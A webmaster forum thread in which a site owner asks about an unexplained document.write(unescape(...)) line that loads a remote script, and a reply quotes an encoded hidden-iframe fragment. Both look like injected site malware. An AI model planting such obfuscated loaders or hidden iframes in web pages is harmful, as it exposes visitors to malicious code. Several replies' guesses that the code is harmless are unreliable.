What Is The Meaning Of This Code?

6 replies
  • SEO
  • |
Fellow Warriors,

I discovered the following code in the files of one of my sites.

document.write(unescape("%3Cscript src='" + playerhost + "flv/Navigator/A1054F7C-1422-1D54-B15578E1475CEC32.js' type='text/javascript'%3E%3C/script%3E"));

What does it mean?

I also discovered a similar code embedded in the Google Analytics code for another site.

Both of these codes are only visible by looking at the Source Code, and Fetch As Googlebot in Webmaster Tools.

Thanks for your help.

Goubana
#code #meaning
  • Profile picture of the author bitriot
    When you see document.write.unescape(5%6E%64%69%73%74%72%2E%69% 6E%66%6 F%2F%71%75%61%6C%69%74%79%74%65%73%74%22%20%77%69% 64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F %69%66%72%61%6D%65%3E) - someone has likely injected dangerous code into your website that is subsequently masked.

    In your case, it looks like a video player code - do you have any videos on your site. If so, try removing them and seeing if this code still appears!
    {{ DiscussionBoard.errors[3997224].message }}
  • Profile picture of the author jefkas
    unescape is a function used to decode an encoded string and I believe it's deprecated and should no longer be used. My guess would be that it's a wordpress plugin that allows a video to play in an iframe... an easy (and poor) way to insert video into a post.
    {{ DiscussionBoard.errors[3997386].message }}
    • Profile picture of the author paulgl
      Of course it may be part of your google analytics code.
      It's in a lot of codes. I have no idea why people get
      in such a panic over nothing.

      The OP is pure spam anyway. Nobody would ask such
      a question.

      Paul
      Signature

      If you were disappointed in your results today, lower your standards tomorrow.

      {{ DiscussionBoard.errors[3997570].message }}
      • Profile picture of the author Goubana
        Thanks for your replies.

        I really wanted to know if this code might have something to do with the poor performance of my websites. Could this code for example be used to redirect traffic?.

        This is how the code appears in the Google Analytics code>

        document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));

        I noticed the difference because it only appears in the Analytics code for one of the sites, which is the primary site for my hosting account.

        I am genuinely requesting assistance because I am a newbie and do not yet have the experience and expertise that some members have.

        Thanks for your help.
        {{ DiscussionBoard.errors[3997841].message }}
  • Profile picture of the author jefkas
    Without seeing all the code, it's hard to say exactly what's happening, but it's calling a .js file located on another server.. so it could absolutely slow your page load down. Analytics creates this problem too.. and most people don't realize it and just assume google's servers will always respond fast enough that there's not a problem. Not always true. Ideally, you want to call your javascript on page load instead of inline.. but this calls for modifying the existing code a bit.
    {{ DiscussionBoard.errors[3998032].message }}
    • Profile picture of the author Goubana
      Thanks Jefkas,

      I am unable to post the entire Google Analytics Code showing how the code is embedded because I cannot post links at this time.
      {{ DiscussionBoard.errors[3999184].message }}

Trending Topics